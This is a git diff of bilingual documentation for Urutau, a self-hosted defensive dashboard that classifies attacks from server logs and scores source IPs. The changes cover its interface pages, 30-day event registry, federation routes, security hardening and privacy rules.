| **Done (1.0.0)** | Log collection, classification and scoring, offline geolocation, User-Agent parsing, privacy-friendly web analytics, snapshot persistence, dashboard with SSE, token login, blocklist, federation, Docker image and CI/CD |
| **Done (1.2.0)** | 30-day retention, any period, on-disk event registry, replay, IP analysis with verdict, MITRE ATT&CK, campaigns, STIX 2.1 and stable metrics |
| **Next** | More log sources, webhook alerts, Prometheus metrics |
| **Later** | IP reputation enrichment, longer retention |
| **Later** | IP reputation enrichment |
| **Not planned** | Active scanning or counterattack, mandatory cloud services, telemetry |
## License
+34 -9
View File
@@ -8,6 +8,12 @@
---
<p align="center"><img src="docs/img/overview-dark-pt.png" width="900" alt="Página Visão geral do Urutau: frase de destaque, cartões de KPI e linha do tempo por categoria"><br><sub>A página Visão geral: IPs hostis, taxa de ataques e atividade por categoria (dados de demonstração).</sub></p>
<p align="center"><img src="docs/img/live-globe-dark-pt.png" width="900" alt="Página Ao vivo do Urutau no globo 3D: arcos animados das cidades dos atacantes até os servidores edge-1 e edge-2"><br><sub>Ao vivo: ataques como arcos animados num globo 3D (dados de demonstração, só endereços reservados).</sub></p>
<p align="center"><img src="docs/img/ip-analysis-dark-pt.png" width="900" alt="Página de análise de IP do Urutau: veredito, pontuação, exposição crítica e ações recomendadas para um atacante"><br><sub>Análise de IP: veredito, evidências e ações recomendadas para um endereço.</sub></p>
**Status: estável, v1.0.0.** Veja o [CHANGELOG.pt-BR.md](CHANGELOG.pt-BR.md) para saber exatamente o que foi entregue.
O Urutau é um painel pequeno que roda em cada um dos seus servidores (como container), lê os logs que o servidor já escreve e responde a uma pergunta: quem está me atacando agora? Ele classifica a atividade hostil, pontua cada IP de origem, mantém uma janela móvel em disco e serve um dashboard embutido, uma API JSON e uma blocklist exportável.
@@ -17,11 +23,11 @@ O Urutau é um painel pequeno que roda em cada um dos seus servidores (como cont
- **Pontua IPs:** cada evento soma peso ao IP de origem. Pontuação 10 ou mais é **suspeito**; **hostil** exige 50 ou mais **e** um sinal forte (uma ferramenta de ataque, duas ou mais categorias de ataque, um ban ou uma tentativa clara de exploit recusada). Sondas de scanner e exploit que receberam resposta 2xx ou 3xx pesam só 0,5. Um IP com login SSH bem-sucedido nunca é hostil e nunca vai para a blocklist.
- **Geolocalização offline:** país, cidade e ASN de todo IP a partir das bases gratuitas DB-IP Lite, baixadas e atualizadas pelo próprio Urutau, lidas por um leitor MMDB embutido e sem dependências. Nada é consultado online.
- **Entende User-Agents:** navegador, sistema operacional, dispositivo, bots e ferramentas de ataque.
- **Web analytics do tráfego legítimo:** visitantes únicos, páginas, referrers, países, navegadores, dispositivos, latência (p50 e p95) e bytes, com mapa-múndi, no lugar do analytics do seu proxy. Abas **Ameaças** e **Tráfego** separadas.
- **Leve:** só biblioteca padrão do Go, um binário estático, limite suave de memória de 160 MiB, estado em um único arquivo de snapshot. Sem banco de dados.
- **Dashboard ao vivo:** UI vanilla embutida (inglês e português, claro e escuro), atualizada por Server-Sent Events.
- **Web analytics do tráfego legítimo:** visitantes únicos, páginas, referrers, países, navegadores, dispositivos, latência (p50 e p95) e bytes, com mapa-múndi, no lugar do analytics do seu proxy. Páginas **Ameaças** e **Tráfego** separadas.
- **Leve:** só biblioteca padrão do Go, um binário estático, limite suave de memória de 256 MiB, estado em um único arquivo de snapshot. Sem banco de dados.
- **Dashboard ao vivo:** UI vanilla embutida (inglês e português, claro e escuro), atualizada por Server-Sent Events, com nove páginas (veja abaixo).
- **Blocklist:** IPs hostis e globalmente roteáveis em texto ou JSON, prontos para fail2ban, ipset, nginx ou firewall. O IPv6 é agregado por /64 e exportado como `x:x:x:x::/64`.
- **Federação:** uma instância (o hub) agrega outras com `--peer nome=url`, puxando `/api/v1/peer/export`.
- **Federação:** uma instância (o hub) agrega outras com `--peer nome=url`, puxando `/api/v1/peer/export` e repassando os eventos ao vivo deles por `/api/v1/peer/stream`.
## Como funciona
@@ -39,10 +45,28 @@ O Urutau é um painel pequeno que roda em cada um dos seus servidores (como cont
dashboard (SSE) /api/v1/* JSON blocklist.txt / .json
hub ── GET /api/v1/peer/export (token de peer) ──► peer A
│ ── GET /api/v1/peer/stream (eventos ao vivo) ──► peer A
│ ── GET /api/v1/peer/export (token de peer) ──► peer B
│ ── GET /api/v1/peer/stream (eventos ao vivo) ──► peer B
└──► um dashboard para a frota inteira
```
## Investigação
Além dos números ao vivo, o Urutau lembra e explica. Ele guarda 30 dias de estado e um registro de eventos em disco (`<data-dir>/events/`, limitado por `--events-max`, 512 MB por padrão), então você pode escolher qualquer período (doze intervalos nomeados ou um `from`/`to` personalizado), reproduzi-lo e abrir uma página de análise de IP com um veredito e suas razões, famílias de ataque, técnicas MITRE ATT&CK, tipo de rede, cadência, sessões, campanhas e ações recomendadas, com exportação STIX 2.1. O registro guarda só atacantes: nunca o endereço de um visitante legítimo. Veja [docs/pt-BR/arquitetura.md](docs/pt-BR/arquitetura.md).
## Interface
As páginas são agrupadas numa barra lateral, com a visão guardada no hash da URL. Um botão "?" ao lado de métricas e categorias explica o que significam e o que fazer.
- **Monitorar:** Visão geral (números principais, linha do tempo, principais IPs; um seletor de período vale em todo lugar), Ao vivo (ataques como arcos animados em mapa plano ou globo 3D, incluindo seus peers; `--location` define onde este servidor fica no mapa), Serviços (SLO, orçamento de erro e Apdex por serviço).
- **Investigar:** IPs (a tabela pontuada e a página de análise de IP, `#/ip/<ip>`), Sessões, Campanhas, Replay (um período reproduzido no mapa) e Busca de eventos.
- **Analisar:** Ameaças, MITRE ATT&CK, Geografia (país, estado, cidade, `#/geo/BR/Pernambuco/Recife`), Evolução, Concentração, Sobrevivência (tempo até o ban), Tráfego (analytics amigável à privacidade para visitantes legítimos), De onde vêm os erros (app, proxy, blocked, attack, bot, client) e Protocolos e TLS.
- **Operar:** Defesa, Fontes e hosts (fontes de log, peers e a blocklist) e Integridade.
- **Relatórios.**
Veja [docs/pt-BR/interface.md](docs/pt-BR/interface.md).
## Instalação
Rode com Docker Compose (recomendado):
@@ -87,7 +111,7 @@ Sua própria infraestrutura também gera eventos. Dois filtros a tiram do quadro
- `--trusted` / `URUTAU_TRUSTED`: CIDRs de origens confiáveis (seu escritório, seus monitores, seus outros servidores). Os eventos delas são descartados por completo. `--ignore` continua como alias.
- `--monitor-ua` / `URUTAU_MONITOR_UA`: expressão regular de User-Agents de monitoramento (o padrão inclui Uptime-Kuma). Uma requisição que casa e é benigna não conta como tráfego; ela alimenta um contador "monitoring" à parte. Se a mesma requisição for `scanner`, `exploit` ou `bruteforce`, conta como ataque, porque um User-Agent é trivial de forjar.
- `--monitor-from` / `URUTAU_MONITOR_FROM`: CIDRs de onde os monitores realmente vêm. Quando definido, o User-Agent de monitoramento só vale vindo dessas redes. Sem ele, só respostas `ok` são filtradas (um `notfound` com User-Agent de monitor ainda conta), já que qualquer um pode forjar o cabeçalho.
- `--domains` / `URUTAU_DOMAINS`: uma lista de domínios permitidos para a aba Tráfego (nomes exatos ou `*.exemplo.com`). Um domínio só ganha vaga depois de uma resposta 2xx, e domínios inativos são podados, então `Host` aleatórios não enchem o analytics.
- `--domains` / `URUTAU_DOMAINS`: uma lista de domínios permitidos para a página Tráfego (nomes exatos ou `*.exemplo.com`). Um domínio só ganha vaga depois de uma resposta 2xx, e domínios inativos são podados, então `Host` aleatórios não enchem o analytics.
## Geolocalização e atribuição
@@ -95,11 +119,11 @@ O Urutau mostra país, cidade e ASN de cada IP usando as bases gratuitas **DB-IP
> Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).
A atribuição também aparece no dashboard. Se você redistribuir as bases ou algo derivado delas, mantenha-a.
A atribuição também aparece no dashboard. Os limites de estados e cidades desenhados na página Geografia vêm do [Natural Earth](https://www.naturalearthdata.com) (domínio público). Se você redistribuir as bases ou algo derivado delas, mantenha-a.
## Privacidade
A aba **Tráfego** conta visitantes legítimos sem rastreá-los. Um visitante único é um hash calculado com um sal que muda todo dia, então não acompanha uma pessoa de um dia para o outro, e o endereço IP de um visitante legítimo nunca é persistido: nem no snapshot, nem em log, nem em exportação. Endereços IP são guardados apenas para atividade classificada como hostil, que é o que uma ferramenta de segurança existe para registrar. Sem cookies, fingerprinting nem requisições a terceiros, o desenho dispensa banner de consentimento, mas a licitude do seu uso perante a LGPD ou o GDPR continua sendo decisão sua, como controlador. Veja [SECURITY.pt-BR.md](SECURITY.pt-BR.md).
A página **Tráfego** conta visitantes legítimos sem rastreá-los. Um visitante único é um hash calculado com um sal que muda todo dia, então não acompanha uma pessoa de um dia para o outro, e o endereço IP de um visitante legítimo nunca é persistido: nem no snapshot, nem em log, nem em exportação. Endereços IP são guardados apenas para atividade classificada como hostil, que é o que uma ferramenta de segurança existe para registrar. Sem cookies, fingerprinting nem requisições a terceiros, o desenho dispensa banner de consentimento, mas a licitude do seu uso perante a LGPD ou o GDPR continua sendo decisão sua, como controlador. Veja [SECURITY.pt-BR.md](SECURITY.pt-BR.md).
## Usando a blocklist
@@ -161,7 +185,7 @@ Veja **[CONTRIBUTING.pt-BR.md](CONTRIBUTING.pt-BR.md)** e **[docs/pt-BR/arquitet
## Limites conhecidos
- Só três fontes: access log JSON do Traefik, linhas do sshd no `auth.log` (timestamps ISO) e `fail2ban.log`.
- O estado é mantido por no máximo 7 dias (`--retention`), com até 20.000 IPs rastreados.
- O estado é mantido por no máximo 30 dias (`--retention`), com até 20.000 IPs rastreados; o registro de eventos é limitado por `--events-max`.
- O login do dashboard é um token único compartilhado; não há contas de usuário.
- Pontuações são heurísticas, não prova de intenção maliciosa.
@@ -172,8 +196,9 @@ Resumo do [ROADMAP](ROADMAP.pt-BR.md):
| | |
|---|---|
| **Feito (1.0.0)** | Coleta de logs, classificação e pontuação, geolocalização offline, parse de User-Agent, web analytics amigável à privacidade, snapshot em disco, dashboard com SSE, login por token, blocklist, federação, imagem Docker e CI/CD |
| **Feito (1.2.0)** | Retenção de 30 dias, qualquer período, registro de eventos em disco, replay, análise de IP com veredito, MITRE ATT&CK, campanhas, STIX 2.1 e métricas estáveis |
| **Próximo** | Mais fontes de log, alertas por webhook, métricas Prometheus |
| **Depois** | Enriquecimento com reputação de IP, retenção maior |
| **Depois** | Enriquecimento com reputação de IP |
| **Fora do plano** | Varredura ativa ou contra-ataque, serviços de nuvem obrigatórios, telemetria |
## Licença
+4 -1
View File
@@ -17,6 +17,10 @@ Urutau is lightweight, always-on threat intelligence for self-hosted servers: it
- **Container and CI/CD (1.0.0):** multi-arch image, Coolify deployment, Gitea CI with an image-reuse release workflow, weekly audit.
- **Bilingual documentation (1.0.0).**
- **Interface and live federation (1.1.0):** seven pages, Geography with country, region and city drill-down, Live arcs on a flat map or a 3D globe, `/api/v1/geo`, `/api/v1/live/recent`, relayed live events from peers (`/api/v1/peer/stream`) and `--location`.
- **Investigation (1.2.0):** 30-day retention, twelve ranges and custom periods, an on-disk event registry, replay, IP analysis with verdict and reasons, attack families, MITRE ATT&CK, campaigns, STIX 2.1 export and stable metrics.
## Next
- **More log sources:** other web servers and proxies (nginx, Caddy), and more daemons' auth failures.
@@ -26,7 +30,6 @@ Urutau is lightweight, always-on threat intelligence for self-hosted servers: it
## Later
- **IP reputation enrichment:** optional lookups, off by default, to respect the local-first rule.
- **Longer retention:** an optional on-disk history beyond 7 days.
- **Per-user tokens:** more than one access token with separate revocation.
## Non-Goals
+4 -1
View File
@@ -17,6 +17,10 @@ O Urutau é threat intelligence leve e sempre ligado para servidores self-hosted
- **Container e CI/CD (1.0.0):** imagem multi-arquitetura, deploy no Coolify, CI no Gitea com release que reaproveita imagem, auditoria semanal.
- **Documentação bilíngue (1.0.0).**
- **Interface e federação ao vivo (1.1.0):** sete páginas, Geografia com detalhamento por país, região e cidade, arcos Ao vivo em mapa plano ou globo 3D, `/api/v1/geo`, `/api/v1/live/recent`, eventos ao vivo dos peers repassados (`/api/v1/peer/stream`) e `--location`.
- **Investigação (1.2.0):** retenção de 30 dias, doze intervalos e períodos personalizados, registro de eventos em disco, replay, análise de IP com veredito e razões, famílias de ataque, MITRE ATT&CK, campanhas, exportação STIX 2.1 e métricas estáveis.
## Próximo
- **Mais fontes de log:** outros servidores web e proxies (nginx, Caddy) e falhas de autenticação de mais daemons.
@@ -26,7 +30,6 @@ O Urutau é threat intelligence leve e sempre ligado para servidores self-hosted
## Depois
- **Enriquecimento com reputação de IP:** consultas opcionais, desligadas por padrão, para respeitar o local-first.
- **Retenção maior:** histórico opcional em disco além de 7 dias.
- **Tokens por usuário:** mais de um token de acesso, com revogação separada.
## Fora do plano
+6 -3
View File
@@ -12,7 +12,7 @@ Do not open a public issue with exploit details. Open a minimal issue asking for
- **Hostile log fields:** paths, User-Agents, user names, hosts and jails are length-limited when parsed, kept as data, and escaped when rendered. A malformed, oversized or crafted line must be counted as malformed, never crash the daemon, exhaust memory or inject markup, a command or a script into the dashboard. The dashboard ships a Content-Security-Policy that forbids inline script and style.
- **Authentication:** the dashboard and every API route except `/api/health` need `URUTAU_TOKEN` (at least 32 characters and about 128 bits of estimated entropy, compared in constant time; it can come from `URUTAU_TOKEN_FILE`), either as a bearer token or through a login that sets a session cookie (`HttpOnly`, `SameSite=Strict`, `Secure` over HTTPS) valid for 12 hours. The session is revocable: it is a random id kept in memory, logout revokes it and closes its live stream, and a restart invalidates all sessions. Login and logout reject cross-site requests. After 5 failures per 10 minutes from a client (IPv6 counted per /64) the login answers 429, yet the correct token still gets in after a 1 second delay, so an attacker cannot lock the owner out; wrong bearer tokens count as failures too. The client IP comes from the TCP peer; `X-Forwarded-For` is honored only when the peer is in `--trusted-proxy` (default: the private networks), read from right to left, so it cannot be spoofed from outside. Generate tokens with `openssl rand -base64 48` (`-hex 32` also works).
- **Peer token:** The server token (`URUTAU_PEER_TOKEN`, also as `_FILE`; 32+ characters, about 128 bits of estimated entropy, not periodic or sequential, different from `URUTAU_TOKEN`) is the only credential the local export accepts, and it only opens `GET /api/v1/peer/export`; every other route answers 403 to it, and `URUTAU_TOKEN` is refused (401) on the export. Without a peer token the export is a 404. `--peer-allow` restricts the export to source CIDRs. `URUTAU_PEER_TOKEN_<NAME>` values are client credentials a hub sends to that peer; they never open the local export, and peer names that collide in the variable name are refused. A hub refuses to start with a peer that has no token, only talks to the export, requires `https` outside loopback, does not follow redirects, uses a 4 s timeout and an 8 MB limit, and sanitizes and caps everything a peer sends: an `admin` flag coming from a peer is ignored and a peer's `Strong` flag only counts with a score of 50 or more. Treat a peer as able to read the top 500 IPs, paths and traffic figures its export carries.
- **Peer token:** The server token (`URUTAU_PEER_TOKEN`, also as `_FILE`; 32+ characters, about 128 bits of estimated entropy, not periodic or sequential, different from `URUTAU_TOKEN`) is the only credential the local export accepts, and it only opens the three federation routes, `GET /api/v1/peer/export`, the live stream `GET /api/v1/peer/stream` (at most 10 connections, malicious events only) and `GET /api/v1/peer/period` (the study a hub merges; at most two run at once); every other route answers 403 to it, and `URUTAU_TOKEN` is refused (401) on all three. Without a peer token they are a 404. `--peer-allow` restricts them to source CIDRs. `URUTAU_PEER_TOKEN_<NAME>` values are client credentials a hub sends to that peer; they never open the local export, and peer names that collide in the variable name are refused. A hub refuses to start with a peer that has no token, only talks to those two routes, requires `https` outside loopback, does not follow redirects, uses a 4 s timeout and an 8 MB limit, and sanitizes and caps everything a peer sends: an `admin` flag coming from a peer is ignored and a peer's `Strong` flag only counts with a score of 50 or more. The live relay from each peer is capped at about 50 events per second and about 1 MB/s (a peer that sends more is disconnected), lines of at most 16 KB, a 500-event buffer, reconnection with exponential backoff up to 60 s, and every relayed event is rebuilt from validated fields (address, known category, clipped strings without control characters, valid coordinates; the `host` is always the configured peer name). A compromised peer can still add hostile-looking global IPs to the hub's blocklist (only with score 50+ and a strong signal; `admin` and `forged` flags from peers are ignored); set `URUTAU_PEER_BLOCKLIST=off` to keep the blocklist to local observations. Treat a peer as able to read the top 500 IPs, paths and traffic figures its export carries, and its live attack events.
- **HTTP server limits:** header and body timeouts, `MaxHeaderBytes` of 16 KB, `POST /login` capped at 4 KB, and at most 20 simultaneous live-stream clients (a 21st gets 503 with `Retry-After`; the stream sends a heartbeat every 20 s).
- **Information exposure:** `/api/health` returns only `{"status":"ok"}` (no version), log file paths are never shown in the dashboard or to peers, responses carry `Referrer-Policy: same-origin` and a strict Content-Security-Policy.
- **Framed requests:** with the `Sec-Fetch-Site`, `Sec-Fetch-Dest` and `Referer` headers in the Traefik log, a request embedded by another page (cross-site or same-site, or a sub-resource destination such as image or script) creates an IP record like any other but weighs 0.25 per event, with at most 30 points per IP from such requests (below the hostile threshold), and never counts as a strong signal. With an attack-tool User-Agent the headers are ignored. The headers come from the client, so a framed visitor never becomes hostile, and a scanner that forges them shows up as suspicious instead of vanishing.
@@ -22,8 +22,11 @@ Do not open a public issue with exploit details. Open a minimal issue asking for
- **Container hardening:** the image runs as an unprivileged user (no `curl` or shell tools needed: its `HEALTHCHECK` is `urutau healthcheck`) with a read-only root filesystem and no capabilities. Logs are mounted read-only, and only the Traefik log directory is mounted from the proxy, never `acme.json` or its configuration. Logs come from a dedicated host directory, `/var/log/urutau`, not the whole `/var/log`. `--trusted-proxy` defaults to loopback only; the compose file creates the `urutau-edge` network (`10.250.0.0/24`) and trusts just that, so keep only the reverse proxy on it, since another container there could forge `X-Forwarded-For`. The only write target is the data volume (snapshot, mode `0700` directory).
- **Read-only by design:** Urutau reads logs and never sends traffic to the IPs it lists. The only outbound connections are reverse DNS lookups, the periodic download of the DB-IP Lite databases from `download.db-ip.com` (verified by opening the file before it replaces the old one; a failure never stops the service) and, on a hub, the polls to the configured peers. Geolocation lookups are local.
- **Privacy and local-first:** there is no telemetry. IPs and request details stay on your servers (and on the hub you configure).
- **Visitor privacy (LGPD and GDPR):** the Traffic tab counts unique visitors with a hash computed with a daily salt, so a visitor cannot be followed across days, and the IP address of a legitimate visitor is never persisted. There are no cookies for visitors, no fingerprinting and no request to third parties. IPs are retained only for hostile activity, for at most the retention period (7 days). Whether this is enough for your legal basis and notices is your responsibility as the controller.
- **Third-party data:** the geolocation databases are DB-IP Lite, CC BY 4.0, and the attribution must be kept where the data is shown.
- **Visitor privacy (LGPD and GDPR):** the Traffic page counts unique visitors with a hash computed with a daily salt, so a visitor cannot be followed across days, and the IP address of a legitimate visitor is never persisted. There are no cookies for visitors, no fingerprinting and no request to third parties. IPs are retained only for hostile activity, for at most the retention period (7 days). Whether this is enough for your legal basis and notices is your responsibility as the controller.
- **Anonymous visits:** legitimate visitors are never stored. The optional `?visits=1` stream carries no address, User-Agent or referrer (city-level position only, at most 20 per second) and is never written to disk. Paths and `Referer` values are normalized to `:id` when they carry an e-mail address, a token or a long identifier, so personal data in a URL does not reach the lists. The newer analysis routes (`/api/v1/techniques`, `/evolution`, `/concentration`, `/survival`, `/sessions/funnel`, `/campaigns`, `/defense`, `/errors`, `/integrity`, `/report`, `/services`, `/protocols`) are user-only: the peer token gets 403 on them.
- **Event registry (privacy):** `<data-dir>/events/` keeps one line per event for replay and investigation, but only about attackers: malicious events, bans, successful SSH logins, a 404 to an attack tool, and answers to addresses that are already suspicious or hostile. The address of a legitimate visitor is never written. Files are removed after the retention (30 days at most) and the total is capped by `--events-max` (512 MB by default, `0` turns the registry off). Treat the directory as personal data under the LGPD and the GDPR: same retention, same access control as the rest of the data volume. A full disk or the size cap drops events instead of stopping the service, and a corrupted line is skipped.
- **Outbound lookups for verdicts:** the network type is inferred locally from the ASN, organisation and reverse DNS (no external API). Forward-confirmed reverse DNS is used only to confirm a claimed Googlebot or Bingbot. The optional Tor exit list is a local file (`--tor-exits`).
- **Third-party data:** the geolocation databases are DB-IP Lite, CC BY 4.0, and the attribution must be kept where the data is shown. The state and city boundaries on the Geography page are from Natural Earth, public domain.
## Known limitation
+6 -3
View File
@@ -12,7 +12,7 @@ Não abra uma issue pública com detalhes de exploração. Abra uma issue mínim
- **Campos hostis de log:** caminhos, User-Agents, usuários, hosts e jails têm tamanho limitado no parse, são mantidos como dado e escapados ao renderizar. Uma linha malformada, gigante ou forjada deve ser contada como malformada, nunca derrubar o daemon, esgotar memória ou injetar marcação, comando ou script no dashboard. O dashboard envia uma Content-Security-Policy que proíbe script e estilo inline.
- **Autenticação:** o dashboard e toda rota da API, exceto `/api/health`, exigem `URUTAU_TOKEN` (no mínimo 32 caracteres e cerca de 128 bits de entropia estimada, comparado em tempo constante; pode vir de `URUTAU_TOKEN_FILE`), como bearer token ou por um login que define um cookie de sessão (`HttpOnly`, `SameSite=Strict`, `Secure` em HTTPS) válido por 12 horas. A sessão é revogável: é um id aleatório guardado em memória, o logout a revoga e fecha o stream ao vivo dela, e um reinício invalida todas as sessões. Login e logout rejeitam requisições cross-site. Após 5 falhas a cada 10 minutos de um cliente (IPv6 contado por /64) o login responde 429, mas o token correto ainda entra após 1 segundo de atraso, para que um atacante não tranque o dono do lado de fora; bearer tokens errados também contam como falha. O IP do cliente vem do peer TCP; `X-Forwarded-For` só vale quando o peer está em `--trusted-proxy` (padrão: as redes privadas), lido da direita para a esquerda, então não pode ser forjado de fora. Gere tokens com `openssl rand -base64 48` (`-hex 32` também serve).
- **Token de peer:** O token de servidor (`URUTAU_PEER_TOKEN`, também via `_FILE`; 32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial, diferente de `URUTAU_TOKEN`) é a única credencial que o export local aceita, e só abre `GET /api/v1/peer/export`; todas as outras rotas respondem 403 a ele, e o `URUTAU_TOKEN` é recusado (401) no export. Sem token de peer o export é 404. `--peer-allow` restringe o export a CIDRs de origem. Os valores `URUTAU_PEER_TOKEN_<NOME>` são credenciais de cliente que um hub envia àquele peer; nunca abrem o export local, e nomes de peer que colidem no nome da variável são recusados. Um hub se recusa a iniciar com um peer sem token, só fala com o export, exige `https` fora de loopback, não segue redirects, usa timeout de 4 s e limite de 8 MB, e sanitiza e limita tudo o que um peer envia: um sinalizador `admin` vindo de um peer é ignorado e o `Strong` de um peer só vale com pontuação 50 ou mais. Trate um peer como alguém que pode ler os 500 IPs principais, caminhos e números de tráfego que o export carrega.
- **Token de peer:** O token de servidor (`URUTAU_PEER_TOKEN`, também via `_FILE`; 32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial, diferente de `URUTAU_TOKEN`) é a única credencial que o export local aceita, e só abre as duas rotas de federação, `GET /api/v1/peer/export` o fluxo ao vivo `GET /api/v1/peer/stream` (no máximo 10 conexões, só eventos maliciosos) e `GET /api/v1/peer/period` (o estudo que um hub mescla; no máximo dois ao mesmo tempo); todas as outras rotas respondem 403 a ele, e o `URUTAU_TOKEN` é recusado (401) nas três. Sem token de peer elas são 404. `--peer-allow` restringe as três a CIDRs de origem. Os valores `URUTAU_PEER_TOKEN_<NOME>` são credenciais de cliente que um hub envia àquele peer; nunca abrem o export local, e nomes de peer que colidem no nome da variável são recusados. Um hub se recusa a iniciar com um peer sem token, só fala com essas duas rotas, exige `https` fora de loopback, não segue redirects, usa timeout de 4 s e limite de 8 MB, e sanitiza e limita tudo o que um peer envia: um sinalizador `admin` vindo de um peer é ignorado e o `Strong` de um peer só vale com pontuação 50 ou mais. O repasse ao vivo de cada peer é limitado a cerca de 50 eventos por segundo e cerca de 1 MB/s (um peer que manda mais é desconectado), linhas de no máximo 16 KB, buffer de 500 eventos e reconexão com backoff exponencial até 60 s, e cada evento repassado é reconstruído a partir de campos validados (endereço, categoria conhecida, textos cortados e sem caracteres de controle, coordenadas válidas; o `host` é sempre o nome configurado do peer). Um peer comprometido ainda pode pôr IPs globais com cara de hostis na blocklist do hub (só com pontuação 50+ e sinal forte; os sinalizadores `admin` e `forged` vindos de peers são ignorados); defina `URUTAU_PEER_BLOCKLIST=off` para restringir a blocklist às observações locais. Trate um peer como alguém que pode ler os 500 IPs principais, caminhos e números de tráfego que o export carrega, e os seus eventos de ataque ao vivo.
- **Limites do servidor HTTP:** timeouts de cabeçalho e corpo, `MaxHeaderBytes` de 16 KB, `POST /login` limitado a 4 KB e no máximo 20 clientes simultâneos no stream ao vivo (o 21º recebe 503 com `Retry-After`; o stream envia heartbeat a cada 20 s).
- **Exposição de informação:** `/api/health` devolve só `{"status":"ok"}` (sem versão), os caminhos dos arquivos de log nunca aparecem no dashboard nem para peers, e as respostas levam `Referrer-Policy: same-origin` e uma Content-Security-Policy estrita.
- **Requisições enquadradas:** com os cabeçalhos `Sec-Fetch-Site`, `Sec-Fetch-Dest` e `Referer` no log do Traefik, uma requisição embutida por outra página (cross-site ou same-site, ou destino de subrecurso como image ou script) aparece na linha do tempo e cria registro de IP como qualquer outra, mas pesa 0,25 por evento, com no máximo 30 pontos por IP vindos delas (abaixo do limiar hostil), e nunca conta como sinal forte. Com User-Agent de ferramenta de ataque os cabeçalhos são ignorados. Os cabeçalhos vêm do cliente, então um visitante enquadrado nunca vira hostil, e um scanner que os forja aparece como suspeito em vez de sumir.
@@ -22,8 +22,11 @@ Não abra uma issue pública com detalhes de exploração. Abra uma issue mínim
- **Endurecimento do container:** a imagem roda com usuário sem privilégios (sem `curl` nem ferramentas de shell: o `HEALTHCHECK` é `urutau healthcheck`), sistema de arquivos raiz somente leitura e sem capabilities. Os logs são montados somente leitura, e do proxy só o diretório de logs do Traefik é montado, nunca o `acme.json` nem a configuração. Os logs vêm de um diretório dedicado do host, `/var/log/urutau`, não do `/var/log` inteiro. `--trusted-proxy` tem como padrão só o loopback; o compose cria a rede `urutau-edge` (`10.250.0.0/24`) e confia só nela, então deixe nela apenas o proxy reverso, pois outro container ali poderia forjar o `X-Forwarded-For`. O único destino de escrita é o volume de dados (snapshot, diretório com modo `0700`).
- **Somente leitura por desenho:** o Urutau lê logs e nunca envia tráfego aos IPs que lista. As únicas conexões de saída são as consultas de DNS reverso, o download periódico das bases DB-IP Lite em `download.db-ip.com` (verificado abrindo o arquivo antes de substituir o antigo; uma falha nunca interrompe o serviço) e, em um hub, as consultas aos peers configurados. As consultas de geolocalização são locais.
- **Privacidade e local-first:** não há telemetria. IPs e detalhes de requisições ficam nos seus servidores (e no hub que você configurar).
- **Privacidade dos visitantes (LGPD e GDPR):** a aba Tráfego conta visitantes únicos com um hash calculado com sal diário, então um visitante não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. Não há cookies para visitantes, fingerprinting nem requisição a terceiros. IPs são retidos apenas para atividade hostil, por no máximo o período de retenção (7 dias). Se isso basta para a sua base legal e seus avisos é responsabilidade sua, como controlador.
- **Dados de terceiros:** as bases de geolocalização são DB-IP Lite, CC BY 4.0, e a atribuição deve ser mantida onde os dados são exibidos.
- **Privacidade dos visitantes (LGPD e GDPR):** a página Tráfego conta visitantes únicos com um hash calculado com sal diário, então um visitante não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. Não há cookies para visitantes, fingerprinting nem requisição a terceiros. IPs são retidos apenas para atividade hostil, por no máximo o período de retenção (7 dias). Se isso basta para a sua base legal e seus avisos é responsabilidade sua, como controlador.
- **Visitas anônimas:** visitantes legítimos nunca são armazenados. O stream opcional `?visits=1` não carrega endereço, User-Agent nem referrer (só posição no nível da cidade, no máximo 20 por segundo) e nunca é gravado em disco. Caminhos e valores de `Referer` são normalizados para `:id` quando carregam e-mail, token ou identificador longo, para que dado pessoal numa URL não chegue às listas. As rotas de análise mais novas (`/api/v1/techniques`, `/evolution`, `/concentration`, `/survival`, `/sessions/funnel`, `/campaigns`, `/defense`, `/errors`, `/integrity`, `/report`, `/services`, `/protocols`) são só de usuário: o token de peer recebe 403 nelas.
- **Registro de eventos (privacidade):** `<data-dir>/events/` guarda uma linha por evento para replay e investigação, mas só de atacantes: eventos maliciosos, bans, logins SSH bem-sucedidos, um 404 para uma ferramenta de ataque, e respostas a endereços já suspeitos ou hostis. O endereço de um visitante legítimo nunca é gravado. Os arquivos são removidos após a retenção (30 dias no máximo) e o total é limitado por `--events-max` (512 MB por padrão, `0` desliga o registro). Trate o diretório como dado pessoal perante a LGPD e o GDPR: mesma retenção e mesmo controle de acesso do resto do volume de dados. Disco cheio ou o teto de tamanho descartam eventos em vez de parar o serviço, e uma linha corrompida é ignorada.
- **Consultas para os vereditos:** o tipo de rede é inferido localmente a partir do ASN, da organização e do DNS reverso (sem API externa). O DNS reverso confirmado serve apenas para confirmar um Googlebot ou Bingbot declarado. A lista opcional de saídas do Tor é um arquivo local (`--tor-exits`).
- **Dados de terceiros:** as bases de geolocalização são DB-IP Lite, CC BY 4.0, e a atribuição deve ser mantida onde os dados são exibidos. Os limites de estados e cidades da página Geografia são do Natural Earth, domínio público.
## Limitação conhecida
+1 -1
View File
@@ -60,7 +60,7 @@ services:
cap_drop: [ALL]
security_opt:
- no-new-privileges:true
mem_limit: 256m
mem_limit: 384m # the Go soft limit is 256 MiB (30 days of history)
cpus: 0.5
restart: unless-stopped
+98 -5
View File
@@ -10,7 +10,9 @@ internal/app flags, wiring, the log runner, doctor
internal/tail rotation-aware file follower and rotated-file reader
internal/core event model, parsers (Traefik, sshd, fail2ban), classifier
internal/store in-memory state, summaries, merge, snapshot
internal/rdns reverse DNS cache
internal/rdns reverse DNS cache and forward-confirmed reverse DNS
internal/evlog on-disk event registry
internal/intel families, MITRE, network type, cadence, sessions, campaigns, verdicts, STIX, metrics
internal/fed hub that polls peers
internal/server HTTP handler, auth, embedded dashboard (web/)
```
@@ -83,19 +85,110 @@ Events from a trusted origin (`--trusted`, plus the private ranges of `--ignore`
## Web analytics
